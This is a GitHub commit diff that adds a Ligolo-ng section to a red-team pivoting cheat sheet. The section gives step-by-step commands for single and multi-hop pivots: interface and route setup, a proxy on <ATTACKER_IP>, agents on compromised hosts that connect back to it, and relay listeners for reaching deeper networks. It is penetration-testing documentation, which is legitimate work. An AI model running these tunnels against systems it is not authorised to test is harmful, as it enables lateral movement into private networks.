Skip to content

Commit

Permalink
Merge pull request #12 from Pri3st/main
Browse files Browse the repository at this point in the history
Update network-pivoting-techniques.md
  • Loading branch information
swisskyrepo committed May 21, 2024
2 parents 33f007a + 92584ae commit 402412c
Showing 1 changed file with 62 additions and 1 deletion.
63 changes: 62 additions & 1 deletion docs/redteam/pivoting/network-pivoting-techniques.md
Original file line number Diff line number Diff line change
Expand Up @@ -304,6 +304,67 @@ Ligolo : Reverse Tunneling made easy for pentesters, by pentesters
ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
```

## Ligolo-ng

Ligolo-ng : An advanced, yet simple, tunneling tool that uses TUN interfaces.

#### Single Pivot
1. Downloading the binaries.
- The proper binaries can be downloaded from [here](https://github.com/nicocha30/ligolo-ng/releases/tag/v0.5.2).

2. Setting up the ligolo-ng interface and IP routes.
- The initial step is to create a new interface and add an IP route to the subnet that we want to pivot to through this interface. We can easily do it through the following bash script.
```bash
#!/bin/bash

ip tuntap add user root mode tun ligolo
ip link set ligolo up
ip route add <x.x.x.x\24> dev ligolo
```

- We can then run the script by issuing the `chmod +x ligolo-ng_setup.sh && ./ligolo-ng_setup.sh`

3. Setting up the ligolo-ng proxy.
- After the interface has been setup, we can now start the ligolo-ng proxy. We can use any `<PROXY_PORT>` we want as long as it not already in use.
`./proxy -laddr <ATTACKER_IP>:<PROXY_PORT> -selfcert`

4. Using the ligolo-ng agent to connect to the ligolo-ng proxy.
- In the compromised computer we can use the agent to connect back to the proxy.
`./agent -connect <ATTACKER_IP>:<PROXY_PORT> -ignore-cert`

5. Start tunneling traffic through ligolo-ng.
- Once the connection from the agent reaches the proxy we can use the `session` command to list the available sessions.
- We can use the arrow keys to select the session we want and issue the command `start` to start tunnelling traffic through it.

6. Using local tools.
- After the tunneling has been initiated, we can use local offensive tools, such as CrackMapExec, Impacket, Nmap through the ligolo-ng network pivot without any kind of limitations or added lag (this is especially true for Nmap).

#### Double Pivot
1. Setting up a listener in the initial pivoting session.
- To start a double pivot, we have to make sure that the connection of the second agent will go through the **first** agent to avoid losing contact to our first pivot. To do so, we will have to create a _listener_ to the ligolo-ng session responsible for the first pivot.
- This command starts a listener to all the interfaces (`0.0.0.0`) of the **compromised** host in port `4443` (we can replace it with any other port we want, as long as it is not already in use in the compromised initial pivot host). Any traffic that reaches this listener will be **redirected to the ligolo-ng** proxy (`--to <ATTACKER_IP>:<PROXY_PORT>`).
`listener_add --addr 0.0.0.0:4443 --to <ATTACKER_IP>:<PROXY_PORT> --tcp`

2. Starting te second agent.
- After transferring the ligolo-ng agent to the **second** pivot host that we have compromised we will start a connection **not directly to our ligolo-ng proxy** but to the first pivoting agent.
`.\agent.exe -connect <1st_PIVOT_HOST_IP>:4443 -ignore-cert `

3. Starting the second pivot.
- In the ligolo-ng proxy we will receive a call from the second agent through the listener of the first agent. We can use the `session` command and the arrow keys to navigate through the created sessions. Issuing the `start` and `stop` commands we can tell the ligolo-ng proxy which session will be used for tunneling traffic.

4. Adding a new IP route to the second network.
- Before being able to use our local tools to the second network that we want to pivot to, we need to add a new IP route for it through the `ligolo` interface that we created in the first step.
`ip route add 172.16.10.0/24 dev ligolo`

5. Using local tools.
- After the tunneling has been initiated, we can use local offensive tools to the second network as well.

#### Triple, etc. Pivot
- The process is exactly the same as the second pivot.

#### Pivoting to individual hosts to expose internally running services.
- The same process can also be used to pivot to individual hosts instead of whole subnets. This will allow an operator to expose locally running services in the compromised server, similar to the dynamic port forwarding through SSH.

## Gost

> Wiki English : https://docs.ginuerzh.xyz/gost/en/
Expand Down Expand Up @@ -500,4 +561,4 @@ tar xvzf cloudflared-stable-linux-amd64.tgz
* 🇫🇷 [Etat de l’art du pivoting réseau en 2019 - Oct 28,2019 - Alexandre ZANNI](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) - 🇺🇸 [Overview of network pivoting and tunneling [2022 updated] - Alexandre ZANNI](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/)
* [Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8](https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49)
* [Active Directory - hideandsec](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory)
* [Windows: Capture a network trace with builtin tools (netsh) - February 22, 2021 Michael Albert](https://michlstechblog.info/blog/windows-capture-a-network-trace-with-builtin-tools-netsh/)
* [Windows: Capture a network trace with builtin tools (netsh) - February 22, 2021 Michael Albert](https://michlstechblog.info/blog/windows-capture-a-network-trace-with-builtin-tools-netsh/)

0 comments on commit 402412c

Please sign in to comment.